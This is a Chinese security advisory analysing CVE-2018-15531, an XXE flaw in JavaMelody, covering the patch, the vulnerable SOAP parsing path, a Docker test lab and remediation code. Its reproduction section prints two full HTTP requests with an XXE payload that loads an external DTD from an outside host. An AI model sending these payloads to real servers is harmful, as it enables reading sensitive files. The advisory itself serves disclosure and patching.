0x01 背景
JavaMelody是一款在生产和QA环境中对JAVA应用以及应用服务器(Tomcat、Jboss、Weblogic)进行监控的工具,可以通过图表给出监控数据,方便研发运维等找出响应瓶颈、优化响应等。
近日发布了1.74.0版本,修复了一个XXE漏洞,漏洞编号CVE-2018-15531。攻击者利用漏洞,可以读取JavaMelody服务器上的敏感信息。
0x02 漏洞分析
漏洞修复的commit地址如下:
https://github.com/javamelody/javamelody/commit/ef111822562d0b9365bd3e671a75b65bd0613353#diff-c059097bc33b06c0b5da2d9b7787e806
增加了两行代码,作用分别是禁用DTD和禁用外部实体,如图所示:
增加这两行代码之后,攻击者就无法使用XXE漏洞来进行文件读取。
查看修复前的代码文件src/main/java/net/bull/javamelody/PayloadNameRequestWrapper.java,如图:
使用StAX来对XML进行解析,未禁用DTDs和外部实体,再看看那些地方调用了parseSoapMethodName()方法,如图:
其中PayloadNameRequestWrapper类的initialize()方法有进行调用,代码片段如下:
从HTTP请求获取请求的Content-Type,如果满足如下两个条件中的任意一个:
1、Content-Type的值为“application/soap+xml”;
2、Content-Type的值为“text/xml”,且HTTP头部中有"SOAPAction"。
就会调用parseSoapMethodName()方法对请求内容进行解析处理,攻击者可以控制Content-Type、请求内容等,最终导致XXE漏洞的产生。
0x03 漏洞测试
漏洞环境搭建
1、docker pull tomcat;
2、修改tomcat镜像,commit为一个新的漏洞环境;
3、下载测试使用的应用包,解压之后将test目录移动到/usr/local/tomcat/webapps目录下,下载地址:
http://pan.baidu.com/s/1mgoQOwo
4、下载javamelody-core-1.73.1.jar版本,重命名为javamelody.jar,放到/usr/local/tomcat/webapps/test/WEB-INF/lib/目录下,下载地址:
https://github.com/javamelody/javamelody/releases/download/javamelody-core-1.73.1/javamelody-core-1.73.1.jar
5、启动tomcat;
6、docker commit生成新的镜像。
漏洞复现
根据对漏洞的分析,可以构造漏洞测试的Http请求,分别如下:
POST /test/ HTTP/ 1.1
Host: 127.0.0.1: 8888
Content-Type: text/xml; charset= "utf-8"
SOAPAction: sdfsdfdsf
User-Agent: Mozilla/ 5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/ 537.36 (KHTML, like Gecko) Chrome/ 68.0 . 3440.106 Safari/ 537.36
Accept-Encoding: gzip, deflate
Cookie: _ga=GA1. 1.1433684353 . 1533281809 ; settingStore=1533281841189_0; ECS[visit_times]= 9 ; JSESSIONID=CA4182172E388BED1933F3849E846492
Connection: close
Content-Length: 142
<?xml version= "1.0" encoding= "utf-8" ?>
<!DOCTYPE a [
<!ENTITY % aad SYSTEM "http://www.nxadmin.com/aaa.dtd" >
%aad;
%c;]
>
|
POST /test/ HTTP/ 1.1
Host: 139.199 . 99.172 : 8888
Content-Type: application/soap+xml; charset= "utf-8"
User-Agent: Mozilla/ 5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/ 537.36 (KHTML, like Gecko) Chrome/ 68.0 . 3440.106 Safari/ 537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q= 0.9 ,en;q= 0.8
Cookie: _ga=GA1. 1.1433684353 . 1533281809 ; settingStore=1533281841189_0; ECS[visit_times]= 9 ; JSESSIONID=CA4182172E388BED1933F3849E846492
Connection: close
Content-Length: 142
<?xml version= "1.0" encoding= "utf-8" ?>
<!DOCTYPE a [
<!ENTITY % aad SYSTEM "http://www.nxadmin.com/aaa.dtd" >
%aad;
%c;]
>
|
调用了外部实体,根据外部实体请求URL的的日志记录,就可以判断自有业务是否存在漏洞,如图所示:
0x04 修复建议
1、升级JavaMelody到1.74.0版本;
2、按照官方漏洞修复方法,使用StAX对XML进行解析时,增加禁用DTDs和外部实体的代码,如下:
final XMLInputFactory factory = XMLInputFactory.newInstance();
// 禁用DTD
factory.setProperty(XMLInputFactory.SUPPORT_DTD, false );
// 禁用外部实体
factory.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false );
final XMLStreamReader xmlReader;
|
0x05 参考链接
https://github.com/javamelody/javamelody/releases/tag/javamelody-core-1.73.1
https://github.com/javamelody/javamelody/commit/ef111822562d0b9365bd3e671a75b65bd0613353#diff-c059097bc33b06c0b5da2d9b7787e806
本文来自百度安全SiemPent Team,转载请注明出处及本文链接